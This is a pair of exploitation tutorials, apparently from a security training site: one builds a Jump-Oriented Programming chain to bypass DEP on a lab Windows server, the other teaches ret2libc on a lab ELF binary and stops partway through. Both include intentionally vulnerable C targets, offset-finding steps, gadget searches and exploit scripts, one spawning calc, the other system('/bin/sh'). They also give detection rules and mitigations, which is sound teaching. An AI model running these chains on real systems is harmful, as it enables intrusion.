Jump-Oriented Programming (JOP): Dispatcher Gadgets and Functional Chains

You have RIP control on a DEP-protected target. The stack is non-executable, so your injected shellcode is dead weight. Return-Oriented Programming is the reflex answer, but suppose the EDR on that box counts ret frequency and stack-pointer churn, or the binary shipped with a shadow stack that shreds any ROP chain the moment the first gadget returns. ROP is off the table. JOP is what you reach for next: a code-reuse technique that never touches ret and never lets the stack drive control flow.

Objective: Understand how Jump-Oriented Programming replaces the RET-driven control flow of ROP with a register-held dispatch table and a dispatcher gadget, learn the canonical gadget taxonomy, build a working JOP chain against an intentionally vulnerable lab server to bypass DEP, and see exactly how defenders catch it with hardware telemetry, ETW, and Intel CET.


1. Code-Reuse Attacks: From ret2libc to ROP to JOP

DEP (NX) killed the classic jmp esp into stack shellcode. Mark the stack and heap non-executable and injected code simply faults on the first byte. The attacker response was to stop injecting code and start reusing code that is already mapped executable.

ret2libc came first: overwrite the saved return address with the address of a libc function like system, stack the arguments behind it, let the epilogue do the call. ROP generalized that into Turing-complete computation by chaining short instruction sequences that each end in ret. The stack becomes a program: the stack pointer is the instruction pointer, and every ret pops the next gadget address.

That reliance on ret and the stack is exactly the weakness defenders learned to exploit. Shadow stacks, ret-frequency heuristics, stack-pivot detection, canary checks: nearly every anti-ROP control keys on the stack or the return instruction.

JOP is the evolution that sidesteps all of it. Bletsch et al. defined it at AsiaCCS 2011 as a code-reuse attack that abandons ret entirely and chains gadgets ending in indirect branches (jmp reg, call reg, jmp [reg]) instead. Because almost every known ROP defense depends on ret or the stack, most of them are structurally blind to a well-built JOP chain. That is the whole point.


2. The Stack vs. The Dispatch Table: JOP’s Architectural Divergence

ROP has a natural chaining mechanism baked into the hardware. ret pops an address off the stack and jumps to it, so stacking gadget addresses is enough. jmp has no such convenience. A raw jmp reg jumps once and there is nothing that advances to the next gadget. That is the core chaining problem JOP has to solve.

The solution is a dispatcher gadget plus a dispatch table. Instead of the stack pointer walking a list of return addresses, a general-purpose register walks a table of functional gadget addresses that lives in ordinary read/write memory. Every functional gadget, after doing its work, jumps back to the dispatcher. The dispatcher advances the table pointer by one slot and jumps to whatever address that slot now holds.

Register / StructureRole
Dispatch Table (DT)Array of functional gadget addresses in any RW memory (heap, BSS, sprayed region). ROP’s equivalent is tied to the stack; JOP’s is not.
DT RegisterRegister holding the current position in the dispatch table (the JOP program counter).
DG RegisterRegister holding the address of the dispatcher gadget. Every functional gadget jumps or calls through this.
Dispatch RegistersThe DT and DG registers plus any scratch the dispatcher touches. These must be protected from clobbering across the whole chain.

So ROP rides ESP and ret. JOP rides, say, ESI (DT) and ECX (DG) and never returns. The stack is still there and you will use it later to marshal WinAPI arguments, but it is no longer steering control flow.


Diagram showing JOP dispatcher gadget looping between functional gadgets via ESI dispatch table and ECX DG register, with the stack marked as inert
In JOP, a register-held dispatch table and a dispatcher gadget replace the stack as the control-flow engine; the stack carries data but never drives execution.

3. JOP Gadget Taxonomy: Dispatcher, Functional, Initiator, and Delay Gadgets

Use the canonical vocabulary. These names come from Bletsch et al. and the JOP ROCKET research, and mixing them up will confuse anyone reading your chain.

Gadget TypeDescription
Dispatcher Gadget (DG)Advances the DT pointer predictably and dereferences the result to jump to the next functional gadget. Classic x86 form: add ecx, 4 ; jmp [ecx].
Functional GadgetEnds with an indirect jump or call rather than ret. Performs the actual work: load, store, arithmetic, WinAPI setup.
Initiator / Trampoline GadgetBootstraps the chain, loading registers and jumping into the first functional gadget.
Dispatch Table (DT)Memory array of functional gadget addresses walked by the dispatcher.
Delay GadgetA no-op-ish gadget inserted between real gadgets to smear branch-frequency signatures and evade detection.
Two-Gadget DispatcherSplits the advance and the dereference-jump across two cooperating gadgets, expanding the usable gadget surface.

The dispatcher is the heart of the machine, so its requirements are strict. It must atomically advance the DT register and then dereference-and-jump. The canonical single-gadget forms:

; x64 dispatcher: advance table pointer by 8, jump to slot contents
add rax, 8
jmp [rax]

; x86 dispatcher: advance by 4
add ecx, 4
jmp [ecx]

Keep it short. Every instruction between the add and the indirect branch is a chance to clobber a dispatch register. A dispatcher that trashes ESI (your DT register) between the advance and the jump is worthless. The USD gadget-analysis heuristic is blunt: the more registers touched in that window, the lower the candidate’s quality.

Functional gadgets have two hard requirements. First, do something useful. Second, end with jmp <DG_reg> or call <DG_reg> and do not corrupt the dispatch registers on the way out. A gadget that loads EAX from a pointer and then jumps back to the dispatcher is a keeper:

; functional gadget: load a value, return control to dispatcher in ecx
mov eax, [edx]
jmp ecx

One discovery technique worth internalizing: opcode splitting. x86 is a variable-length, unaligned ISA, so you can jump into the middle of an intended instruction and the CPU decodes a completely different sequence. A 5-byte mov might contain a valid jmp [ecx] two bytes in. Gadget finders scan every byte offset for exactly this reason, and JOP’s usable gadget pool is dominated by these unintended sequences.


4. The Dispatcher Loop: How a JOP Chain Executes

Once primed, the whole thing is a loop driven by the dispatcher. The stack contributes nothing to control flow after the initial bootstrap.

[Initiator]
     |
     v
[Dispatcher Gadget] --advance DT ptr--> jmp [DT_reg]
     ^                                       |
     |                                       v
     +----- jmp DG_reg ----- [Functional Gadget 1]
     |                                       |
     |            (dispatcher advances)      v
     +----- jmp DG_reg ----- [Functional Gadget 2]
     |                                       |
     ...                                    ...
     +----- jmp DG_reg ----- [Functional Gadget N: call VirtualAlloc]
                                             |
                                             v
                                   [Shellcode / WinAPI result]

Trace one iteration on x86 with ECX = DG register and ESI = DT register:

  1. Control is inside a functional gadget. Its last instruction is jmp ecx.
  2. ECX points at the dispatcher: add esi, 4 ; jmp [esi]. Wait, note the dispatcher advances the DT register, which in this layout is ESI. ECX holds the dispatcher address so functional gadgets can reach it.
  3. Dispatcher runs add esi, 4, moving the DT pointer to the next slot.
  4. Dispatcher runs jmp [esi], dereferencing that slot and jumping into the next functional gadget.
  5. That gadget does its work and ends in jmp ecx, closing the loop.

The dispatch table is just an array of gadget addresses; advancing ESI by 4 each pass steps through them in order. Reorder the table and you reorder the program. That flexibility, sitting in plain RW memory instead of on the stack, is JOP’s defining property.


Step-by-step flow diagram of a JOP chain: initiator loads registers, dispatcher advances ESI and jumps each functional gadget in sequence, ending at shellcode
Each dispatcher iteration advances ESI by four bytes and jumps the next functional gadget; the loop closes when every gadget returns control to ECX, the dispatcher address.

5. Gadget Discovery with JOP ROCKET and ROPgadget

The purpose-built tool for Windows JOP is JOP ROCKET (Brizendine and Babcock), a Python program built on the Capstone disassembly engine that finds dispatchers, classifies functional gadgets, and can emit full chains.

Run it against the target binary and any modules loaded without ASLR:

:: enumerate dispatcher candidates in the target and a classic non-ASLR module
python JOP_ROCKET.py --find-dispatcher --binary jop_vuln_server.exe
python JOP_ROCKET.py --find-dispatcher --module msvcrt.dll

:: classify functional gadgets by operation (load/store/arith/call)
python JOP_ROCKET.py --find-functional --module msvcrt.dll

Representative (trimmed) output you are looking for:

[+] Dispatcher candidates (msvcrt.dll):
    0x77c21a0e   add ecx, 4 ; jmp dword [ecx]      (clobbers: none)   QUALITY: high
    0x77c3b512   add esi, 8 ; jmp dword [esi]      (clobbers: eax)    QUALITY: med

[+] Functional gadgets:
    [load]   0x77c1f2a1   mov eax, [edx] ; jmp ecx
    [store]  0x77c40b73   mov [edi], eax ; jmp ecx
    [arith]  0x77c2ccd0   add eax, ebx ; jmp ecx
    [call]   0x77c55e10   call [ebp+0x8] ; jmp ecx

The QUALITY and clobbers fields are what matter. A dispatcher that clobbers EAX between advance and jump is only usable if nothing in your chain relies on EAX surviving the dispatcher. Filter aggressively.

Cross-check with a general-purpose finder. ROPgadget will surface raw jmp reg and jmp [reg] sequences and dispatcher-shaped combinations:

# raw indirect jumps through a register-held pointer
ROPgadget --binary msvcrt.dll --jmp | grep "jmp \[e"

# dispatcher-shaped candidates: an add followed by an indirect jump
ROPgadget --binary msvcrt.dll --filter "add.*jmp"

xgadget is the fast, multi-threaded alternative if you are scanning large module sets and it handles both ROP and JOP output. Whatever you use, the workflow is the same: find one clean dispatcher, then collect functional gadgets that cover load, store, arithmetic, and a call primitive, all ending in a jump back through your chosen DG register.


6. Lab: Building a JOP Chain to Bypass DEP, Step by Step

The target

Build the intentionally vulnerable server. It has a fixed 512-byte buffer and a recv that reads up to 2048 bytes straight into it. Classic stack overflow, GS off, DEP on, ASLR off for the lab so addresses stay fixed.

// jop_vuln_server.c  -- LAB TARGET ONLY, intentionally vulnerable
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void vuln_recv(SOCKET s) {
    char buf[512];                  // fixed buffer
    int n = recv(s, buf, 2048, 0);  // oversized recv -> overflow
    printf("Received %d bytes\n", n);
}

int main() {
    WSADATA w; WSAStartup(MAKEWORD(2,2), &w);
    SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {AF_INET, htons(9999), {INADDR_ANY}};
    bind(srv, (struct sockaddr*)&addr, sizeof(addr));
    listen(srv, 1);
    SOCKET cl = accept(srv, NULL, NULL);
    vuln_recv(cl);
    closesocket(cl); closesocket(srv);
    WSACleanup();
}

Compile for 32-bit x86 with GS off, DEP on, ASLR off:

cl /GS- /Zi /Od jop_vuln_server.c /link /NXCOMPAT /DYNAMICBASE:NO

Step 1: Crash recon

Send a cyclic pattern and read the faulting EIP.

# crash_recon.py -- send a De Bruijn pattern to locate the EIP offset
import socket
# msf-pattern_create -l 2048  produces the pattern; paste it here
pattern = b"Aa0Aa1Aa2Aa3...."   # De Bruijn sequence, 2048 bytes
s = socket.socket(); s.connect(("127.0.0.1", 9999))
s.send(pattern); s.close()

Attach WinDbg to the server, let it crash, and read the faulting instruction pointer:

0:000> !analyze -v
0:000> r eip
eip=37674136

Resolve the offset:

msf-pattern_offset -q 37674136
# [*] Exact match at offset 524

Step 2: Confirm EIP control

offset  = 524
payload = b"A" * offset + b"B" * 4     # EIP should become 0x42424242

In WinDbg after the crash: r eip returns 42424242. You own the instruction pointer. Everything from here is arranging what it points to.

Step 3: Gadget discovery

Run JOP ROCKET and ROPgadget against the target and msvcrt.dll (loaded, no ASLR in this lab). Collect:

  • one clean dispatcher, e.g. add ecx, 4 ; jmp [ecx],
  • two pop reg ; ret gadgets to prime the dispatch registers,
  • functional gadgets that set up and call VirtualAlloc (or VirtualProtect),
  • a gadget that transfers control to the freshly RWX region.

Record the resolved addresses. In the exploit below they appear as placeholders because they are build-specific; fill them from your own scan output.

Step 4: Prime the dispatch registers (the permitted ROP bootstrap)

JOP needs the DG register and the DT register loaded before the loop can spin. You could do that with JOP, but the pragmatic move, and the one in the JOP ROCKET methodology, is two pop ROP gadgets. That is the entire ROP footprint. After this, not one more ret.

Payload layout (x86):
[ 524 bytes padding                                    ]
[ pop ecx ; ret       ]  <- load DG register (ECX = dispatcher addr)
[ addr of dispatcher  ]  <- value popped into ECX
[ pop esi ; ret       ]  <- load DT register (ESI = dispatch table addr)
[ addr of dispatch_tbl]  <- value popped into ESI
[ initiator gadget    ]  <- jmp into the first functional gadget

Step 5: Construct the dispatch table

The dispatch table is a flat array of functional gadget addresses. Place it in a predictable RW region (fixed BSS or a heap spray). Each slot is one gadget; the dispatcher walks them in order.

import struct
p32 = lambda x: struct.pack("<I", x)

# Resolved from your gadget scan:
DISP_GADGET    = 0x00000000  # add ecx, 4 ; jmp [ecx]
FG_SETUP_ARG1  = 0x00000000  # stage VirtualAlloc arg (lpAddress/size)
FG_SETUP_ARG2  = 0x00000000  # stage VirtualAlloc arg (flAllocationType/protect)
FG_CALL_VALLOC = 0x00000000  # call VirtualAlloc ; jmp ecx
FG_COPY_SC     = 0x00000000  # copy shellcode into the RWX region
FG_JMP_SC      = 0x00000000  # transfer control to shellcode

dispatch_table = (p32(FG_SETUP_ARG1) + p32(FG_SETUP_ARG2) +
                  p32(FG_CALL_VALLOC) + p32(FG_COPY_SC) + p32(FG_JMP_SC))

Step 6: Full exploit and code execution

Generate lab shellcode first, null-free:

msfvenom -p windows/exec CMD=calc.exe -f python -b "\x00\x0a\x0d"

Then assemble the payload. The overflow drops into the two ROP bootstrap gadgets, which load ECX and ESI, then hands off to the initiator, which jumps into the JOP loop.

import socket, struct
p32 = lambda x: struct.pack("<I", x)

# --- resolved addresses (lab build, no ASLR) ---
POP_ECX_RET = 0x00000000   # pop ecx ; ret   (loads DG register)
POP_ESI_RET = 0x00000000   # pop esi ; ret   (loads DT register)
DISP_GADGET = 0x00000000   # add ecx, 4 ; jmp [ecx]
DT_ADDR     = 0x00000000   # writable region holding dispatch_table
INITIATOR   = 0x00000000   # first functional gadget entry

# --- lab shellcode (msfvenom windows/exec calc.exe, null-free) ---
shellcode = b"\x90" * 16 + b"<msfvenom output bytes here>"

offset  = 524
payload  = b"A" * offset
payload += p32(POP_ECX_RET)   # ROP bootstrap 1
payload += p32(DISP_GADGET)   # -> ECX = dispatcher address
payload += p32(POP_ESI_RET)   # ROP bootstrap 2
payload += p32(DT_ADDR)       # -> ESI = dispatch table base
payload += p32(INITIATOR)     # jump into the JOP chain
# dispatch_table and shellcode are pre-placed at DT_ADDR
# (fixed BSS in this lab, or a heap spray in a hardened target)

s = socket.socket(); s.connect(("127.0.0.1", 9999))
s.send(payload); s.close()
print("[*] Payload sent -- watch for calc.exe")

Step 7: Verify in WinDbg

Confirm the machine is actually running the way you designed it: the DT register advancing by 4 each pass, the stack pointer static.

0:000> bp 0x00000000        ; breakpoint on DISP_GADGET
0:000> g
0:000> dd esi               ; DT pointer -- note the value
0:000> t                    ; step: add esi,4 ; jmp [esi]
0:000> dd esi               ; DT pointer advanced by 4
0:000> !address esp         ; ESP unchanged -- stack is NOT driving control flow

Each time you hit the dispatcher breakpoint, ESI is 4 higher and ESP has not moved. That is the whole thesis of JOP in front of you: the stack is inert, a register walks the table, and DEP never fired because you never executed data as code until the final RWX hand-off.


7. Shellcode-less JOP: Calling WinAPI Directly

You can make the attack DEP-proof end to end by never allocating executable memory at all. Instead of VirtualAlloc(RWX) -> copy -> jump, the functional chain marshals arguments onto the stack and calls a Win32 API directly. WinExec("calc.exe", SW_SHOW) is the classic demonstration: one API, two arguments, no shellcode.

The functional gadgets stage the argument frame (still using the stack as data, which DEP permits), then a call [reg]-terminated gadget invokes the import. Because no page is ever both attacker-written and executable, there is nothing for DEP to catch and nothing for Arbitrary Code Guard to block. This is why JOP ROCKET emphasizes shellcode-less chains: against ACG-hardened processes like Edge content processes, the RWX route is dead and return-to-WinAPI is the only path left.


8. Novel Dispatcher Variants: Two-Gadget Dispatchers and CFI-Resistant Gadgets

The single-gadget dispatcher add reg, N ; jmp [reg] is elegant but sometimes it just is not present in your available modules. The two-gadget dispatcher (Brizendine and Babcock, 2021) splits the job: one gadget advances the DT index, a cooperating gadget performs the dereference-and-jump. Neither alone looks like a dispatcher, so the technique dramatically widens the pool of viable chains in binaries that lack a clean single-gadget form.

Control Flow Integrity changes the discovery game. Intel CET IBT requires an ENDBR32/ENDBR64 marker at every legal indirect-branch target and raises a control-protection fault (#CP) on any indirect jmp/call that lands somewhere else. Under IBT, your functional gadgets can only start at ENDBR-prefixed addresses, which shrinks the surface enormously. Attackers respond by hunting for CFI-resistant gadgets: useful sequences that happen to sit right after a legitimate ENDBR marker. IBT limits JOP but does not eliminate it, because any function entry point CFI blesses is a legal landing zone, and some of those entry points do useful work before their first branch.


9. Common Attacker Techniques

TechniqueDescription
Dispatcher paradigmRegister-held dispatch table walked by a single dispatcher gadget; the standard full JOP chain.
BYOPJ (Bring Your Own Pop-Jump)Chain pop X ; jmp X sequences to load and jump per gadget (Checkoway and Shacham).
Two-gadget dispatcherSplit advance and dereference-jump across two gadgets to expand the usable gadget pool.
Delay gadget insertionInterleave no-op-style gadgets to smear indirect-branch frequency and dodge heuristics.
Shellcode-less return-to-WinAPIMarshal args and call an import (WinExec, VirtualProtect) with no injected code, defeating ACG.
Opcode splittingDecode unintended gadgets from mid-instruction byte offsets to grow the gadget set.

The reason any of this is worth an attacker’s effort is stated plainly in the literature: JOP abandons ret and the stack for control flow, and nearly every ROP defense keys on exactly those two things. A complete JOP exploit can be built without a single ROP gadget beyond the two-pop bootstrap.


10. Defensive Strategies & Detection

JOP defeats stack- and ret-centric controls, so detection moves down to the hardware and out to behavior.

Hardware and OS mitigations

MitigationMechanismJOP Relevance
Intel CET IBTENDBR32/64 required at valid indirect targets; #CP on violationConstrains functional gadget targets to ENDBR-prefixed locations, shrinking the surface hard
Intel CET Shadow StackHardware-enforced parallel return-address stackBlocks ROP; does not block jmp-based JOP
Windows CFGBitmap of valid indirect call targets checked via __guard_check_icall_fptrConstrains call-terminated gadgets; jmp-terminated gadgets may slip past older CFG
DEP / NXNon-executable stack and heapJOP bypasses it entirely; DEP is the reason JOP exists
ACGBlocks dynamic code generation (RWX allocation)Forces shellcode-less return-to-WinAPI chains

Hardware telemetry

Intel LBR (Last Branch Record) and PMU counters are the sharpest JOP signal. An abnormally high rate of indirect branches (jmp [reg]) with no intervening ret is a strong heuristic. Track BR_MISP_EXEC.ALL_BRANCHES and indirect-call counters; code-reuse payloads push branch misprediction rates outside normal application envelopes.

Sysmon and ETW

Event IDNameJOP Relevance
Sysmon EID 1Process CreateChild process from a network-facing service (calc from a listener)
Sysmon EID 8CreateRemoteThreadPost-exploitation cross-process injection
Sysmon EID 10ProcessAccessSuspicious OpenProcess with PROCESS_VM_WRITE
Sysmon EID 17/18Pipe Created/ConnectedC2 comms after payload execution

Microsoft-Windows-Threat-Intelligence (ETWTI) hooks VirtualAllocEx, WriteProcessMemory, and ProtectVirtualMemory at kernel level and flags PAGE_EXECUTE_READWRITE allocations from user space, which catches the RWX flavor of JOP even when the chain itself is invisible. Subscribing requires PPL or a kernel driver. Microsoft-Windows-Kernel-Process tracks executable memory events, and Microsoft-Windows-Security-Auditing EID 4688 covers downstream process creation with command line.

Sigma

Behavioral outcome rule, network service spawning a shell:

title: Suspicious Child Process from JOP-Vulnerable Network Service
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    ParentImage|endswith:
      - '\jop_vuln_server.exe'
    Image|endswith:
      - '\calc.exe'
      - '\cmd.exe'
      - '\powershell.exe'
  condition: selection
level: high

Memory-access rule for post-exploitation injection:

title: Full-Access Process Handle to LSASS Post-Exploitation
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    GrantedAccess: '0x1fffff'      # PROCESS_ALL_ACCESS
    TargetImage|endswith: '\lsass.exe'
  condition: selection
level: high

Hardening, ordered by impact

  1. Enable Intel CET (IBT + Shadow Stack) on Windows 11 with 11th-gen Intel or AMD Zen 3+; set via SetProcessMitigationPolicy(ProcessUserShadowStackPolicy) and ProcessDynamicCodePolicy.
  2. Enable CFG with /guard:cf and ensure every loaded module is CFG-aware.
  3. Enable ACG via ProcessDynamicCodePolicy to kill RWX allocation, forcing shellcode-less chains only.
  4. Keep DEP always-on (/NXCOMPAT, BCDEdit /set nx AlwaysOn).
  5. Deploy EDR with PMU/LBR integration for indirect-branch anomaly telemetry.
  6. Trim the module load surface so fewer DLLs means fewer gadgets.

Hierarchy diagram of JOP defense layers: Intel CET IBT and shadow stack at hardware level, CFG and ACG at OS level, PMU LBR telemetry, ETWTI hooks, and Sysmon behavioral events
Effective JOP detection requires layered controls from hardware CET constraints down to behavioral Sysmon rules, since no single layer covers the full attack surface.

11. Tools for JOP Analysis

ToolDescriptionLink
JOP ROCKETCapstone-based Python tool that finds dispatchers, classifies functional gadgets, and builds Windows JOP chainsgithub.com/Bw3ll/JOP_ROCKET
ROPgadgetGeneral gadget finder; surfaces jmp reg / jmp [reg] and dispatcher-shaped sequencesgithub.com
xgadgetFast multi-threaded ROP/JOP gadget discoverydocs.rs
CapstoneDisassembly engine underpinning gadget identificationcapstone-engine.org
WinDbgDynamic tracing of the dispatch loop and DT register advancemicrosoft.com
pwndbgGDB plugin for pattern generation and offset discoverygithub.com
nasmAssembling stub payloads for the lab targetnasm.us
msfvenomShellcode generation with bad-char avoidancemetasploit.com

12. MITRE ATT&CK Mapping

ATT&CK does not model JOP as its own technique. It is an exploitation mechanism for achieving code execution despite DEP and CFG, not a standalone tactic, so map it by what the chain accomplishes rather than forcing a single ID.

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203Crash telemetry, exploit-guard events on the vulnerable client
Exploitation for Defense EvasionT1211PMU/LBR indirect-branch anomalies; CET #CP faults
Process InjectionT1055Sysmon EID 8/10; ETWTI on WriteProcessMemory
Impair Defenses: Downgrade AttackT1562.010Config auditing of CET/CFG mitigation policy state

The most defensible primary mappings are T1203 for the exploitation trigger and T1211 for the DEP-bypass-via-code-reuse. Defensive coverage lands on M1050 (Exploit Protection: CET, CFG, DEP) and M1040 (Behavior Prevention on Endpoint: EDR with PMU telemetry). Do not cite one T-ID as “the JOP technique.”


Summary

  • JOP is code reuse without ret or the stack, driven by a dispatcher gadget that walks a register-held dispatch table. That single architectural choice makes almost every ROP defense structurally blind to it.
  • The canonical vocabulary matters: dispatcher gadget (add reg, N ; jmp [reg]), functional gadgets ending in jmp/call reg, the dispatch table in RW memory, and the DT/DG dispatch registers that must survive the whole chain.
  • A practical Windows chain uses a two-pop ROP bootstrap to prime the DG and DT registers, then loops functional gadgets to call VirtualAlloc/VirtualProtect or, for full DEP-proofing, calls a WinAPI directly with no shellcode at all.
  • Detection moves to hardware and behavior: LBR/PMU indirect-branch anomalies, ETWTI on executable-memory allocation, and Sysmon EID 1/8/10 for the downstream outcome.
  • Intel CET IBT and shadow stack, CFG, and ACG are the real countermeasures. IBT shrinks the functional gadget surface to ENDBR-prefixed targets; the shadow stack stops ROP but not JOP; ACG forces shellcode-less chains. Layer them.

Related Tutorials

References

ret2libc and ret2plt: Leveraging Existing Code Without Shellcode

NX killed shellcode. That is the short version of why this technique exists. The moment the stack stopped being executable, dropping a blob of \x31\xc0\x50... onto it and jumping in became a dead end. But the attacker still controls the saved return address, and the process is already linked against a giant executable library full of useful functions. So instead of injecting new code, you reuse what is already mapped. Point the return address at system() in libc, hand it "/bin/sh", and you have a shell without writing a single byte of shellcode.

Objective: Build an intentionally vulnerable ELF target, then defeat NX with ret2libc and defeat ASLR with ret2plt, chaining a GOT-based libc leak into a system("/bin/sh") call in both 32-bit and 64-bit. Every offensive stage is paired with how a defender sees it on Linux.


1. Why Shellcode Isn’t Always an Option

Two mitigations shape this entire tutorial:

  • NX / DEP marks the stack and heap non-executable. Your overflow still overwrites the return address, but you cannot execute data you planted there. This is the reason ret2libc was invented: redirect into existing executable code instead.
  • ASLR randomises the base of the stack, heap, and shared libraries on every run. Hardcoding an address for system() breaks the moment ASLR is on. This is the reason ret2plt exists: you leak a live libc address at runtime instead of guessing it.

The plan is code reuse. Nothing you jump to is code you wrote. You are living off the binary and its libraries, calling functions that were already loaded, already executable, and already trusted by the loader.


2. ELF Dynamic Linking Internals: PLT, GOT, and Lazy Binding

Both techniques stand on how ELF resolves calls into shared libraries. When a dynamically linked program calls puts, it does not call libc directly. It calls a stub in the Procedure Linkage Table (PLT), which jumps through a slot in the Global Offset Table (GOT).

ConstructFull NameWhat It Does
.pltProcedure Linkage TableExecutable stubs. Each stub begins with an indirect jmp through a GOT slot.
.got.pltGlobal Offset Table (PLT part)Writable table of resolved runtime pointers, one slot per imported function.
Lazy bindingThe dynamic linker resolves a symbol only on its first call. Until then the GOT slot points back into the resolver.
RELRORelocation Read-OnlyHardening that controls whether the GOT stays writable.

Lazy binding is the key idea. The program does not know libc’s runtime address for puts until puts is actually called. On that first call, control lands in the PLT stub, which jumps to a GOT slot that still points back into the PLT resolver stub. The resolver (_dl_runtime_resolve) walks the relocation and symbol tables (DT_JMPREL, DT_SYMTAB, DT_STRTAB), finds the real address of puts inside libc, writes it into the GOT slot, and jumps there. Every subsequent call reads the now-patched slot and jumps straight into libc.

Disassemble a stub to see this concretely:

objdump -d ./vuln64 -j .plt
0000000000401030 <puts@plt>:
  401030: ff 25 e2 2f 00 00   jmp   QWORD PTR [rip+0x2fe2]   # 404018 <puts@got.plt>
  401036: 68 00 00 00 00      push  0x0                      # relocation index
  40103b: e9 e0 ff ff ff      jmp   401020 <.plt>            # jump to resolver

The relocation records that drive _dl_runtime_resolve are visible too:

objdump -R ./vuln64
OFFSET             TYPE              VALUE
0000000000404018   R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5

The OFFSET here is the r_offset field of the Elf64_Rela entry: the exact GOT slot address that gets patched. Two facts fall out of this and drive everything below:

  1. The .plt address of puts is fixed inside a non-PIE binary. It is part of the executable, so ASLR does not move it. You can always call puts@plt.
  2. After the first call, the GOT slot for puts holds a live libc pointer. Read it and you have defeated library ASLR.

Flowchart showing ELF lazy binding: a call to puts travels through the PLT stub into the GOT slot, which initially redirects to the dynamic linker resolver that patches the slot with the real libc address for all future calls.
Lazy binding means the GOT slot holds a live libc pointer after the first call – the foundation every ret2plt leak exploits.

3. Binary Protections Inventory: checksec and What Each Flag Means

Before touching a target, enumerate its defenses. checksec (shipped with pwntools and pwndbg) reads them straight out of the ELF header.

checksec --file=./vuln32
FlagMeaningImpact on This Attack
NXStack/heap non-executableForces code reuse. This is what ret2libc bypasses.
ASLRRandomised library/stack/heap basesForces a runtime leak. This is what ret2plt bypasses.
PIEBinary’s own .text/PLT/GOT randomisedIf on, you must leak a code pointer first to rebase the PLT.
RELRO NoneGOT fully writableLazy binding active; leak targets plentiful.
RELRO Partial.got read-only, .got.plt writableDefault on most distros; lazy binding preserved.
RELRO Full (-z now)Whole GOT resolved at startup, read-onlyYou cannot overwrite the GOT, but you can still read it. ret2plt leaks still work.
Stack CanaryGuard word before saved return addressBlocks the naive overflow entirely; out of scope here.
SHSTK / IBT (CET)Shadow stack + indirect branch trackingIf enforced in hardware, classic ret chains need a bypass first.

For the labs we deliberately compile with No canary, No PIE, and No RELRO, then toggle ASLR at the kernel level per lesson. That isolates each mitigation so you learn one bypass at a time.


4. Building the Lab Target

Here is the vulnerable program. It uses gets, which has no bounds check, into a 64-byte stack buffer.

// vuln_lab.c  -  intentionally vulnerable lab target
#include <stdio.h>
#include <string.h>

void vuln(void) {
    char buf[64];
    puts("Input: ");
    gets(buf);          // unsafe: no bounds check, classic stack overflow
}

int main(void) {
    vuln();
    puts("Done.");
    return 0;
}

Compile a 32-bit and a 64-bit variant:

# 32-bit, no canary, no PIE, no RELRO
gcc -m32 -fno-stack-protector -no-pie -Wl,-z,norelro -o vuln32 vuln_lab.c

# 64-bit, same hardening disabled
gcc -fno-stack-protector -no-pie -Wl,-z,norelro -o vuln64 vuln_lab.c

Toggle ASLR for staged lessons. Run everything inside a VM or container you control.

# Disable ASLR (for the first ret2libc lesson only)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Restore full ASLR (for the ret2plt lessons)
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Find the offset to the saved return address with a de Bruijn pattern. In pwndbg:

# inside gdb/pwndbg
cyclic 200
run <<< $(cyclic 200)
# on crash, pwndbg prints the fault. Feed the value back:
cyclic -l 0x6161616c        # -> 76 for the 32-bit build

For the 64-bit build the same procedure yields 72 bytes to $rip. Confirm both against your own crash, do not trust a number from a tutorial blindly. The compiler version and alignment padding can shift it.


5. ret2libc Without ASLR (32-bit)

Start with ASLR off so libc addresses are stable. The 32-bit cdecl convention passes arguments on the stack, laid out after the return slot. To call system("/bin/sh") you build a fake frame:

[ 76 bytes padding ][ &system ][ &exit ][ &"/bin/sh" ]
                        ^ new EIP   ^ return addr for   ^ arg to system
                                      system when it     (read from stack)
                                      returns

When vuln returns, EIP becomes system. system reads its argument from the stack (the pointer to "/bin/sh"), and when it finishes it returns into exit for a clean shutdown.

pwntools resolves all three addresses for you:

# exploit_ret2libc_noaslr.py
from pwn import *

elf  = context.binary = ELF('./vuln32')
libc = elf.libc                     # the libc this binary is linked against

OFFSET      = 76                    # confirmed from cyclic
system_addr = libc.sym['system']    # fixed while ASLR is off
exit_addr   = libc.sym['exit']
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))

payload  = b'A' * OFFSET
payload += p32(system_addr)
payload += p32(exit_addr)           # clean return after the shell exits
payload += p32(bin_sh_addr)

p = process('./vuln32')
p.recvline()
p.sendline(payload)
p.interactive()

If you would rather source the addresses by hand, "/bin/sh" lives inside libc:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Run it, and gets overflows the buffer, the saved EIP becomes system, and you drop into a shell. That is ret2libc in its purest form. It only works because ASLR is off. Turn ASLR back on and libc.sym['system'] becomes a moving target. That is the problem ret2plt solves.


6. ret2libc on x86-64: Calling Conventions and Stack Alignment

On x86-64, the System V ABI passes the first integer argument in RDI, not on the stack. You cannot just lay the pointer after the return slot. You need a gadget that pops the stack into RDI and returns. Find one:

ROPgadget --binary ./vuln64 --rop | grep "pop rdi"
# or
ropper -f ./vuln64 --search "pop rdi; ret"

You are looking for something like pop rdi ; ret. Copy its address. Do not hardcode the value from this page, derive your own from your own binary.

The 64-bit frame to call system("/bin/sh") becomes:

[ 72 padding ][ pop_rdi; ret ][ &"/bin/sh" ][ &system ]
                   ^ new RIP        ^ popped into RDI   ^ called with RDI set

There is one gotcha that cost me an hour the first time I hit it, so learn it now. Modern glibc system (and other functions) execute movaps instructions that require the stack to be 16-byte aligned. When you enter through a ROP chain, the stack is often off by 8 bytes, and system crashes deep inside with a SIGSEGV on a movaps xmm..., [rsp+...]. The fix is trivial once you know it: insert a single bare ret gadget before the libc call. That one ret pops 8 bytes and realigns the stack to a 16-byte boundary.

# find a bare ret for the alignment fix
ROPgadget --binary ./vuln64 --rop | grep ": ret$"

If your system call segfaults immediately inside libc rather than at your gadget, alignment is the first thing to check.


A robotic arm inserting a thin alignment shim under a stack of heavy plates, symbolising the single ret gadget inserted to enforce 16-byte stack alignment before calling system in a 64-bit ROP chain.
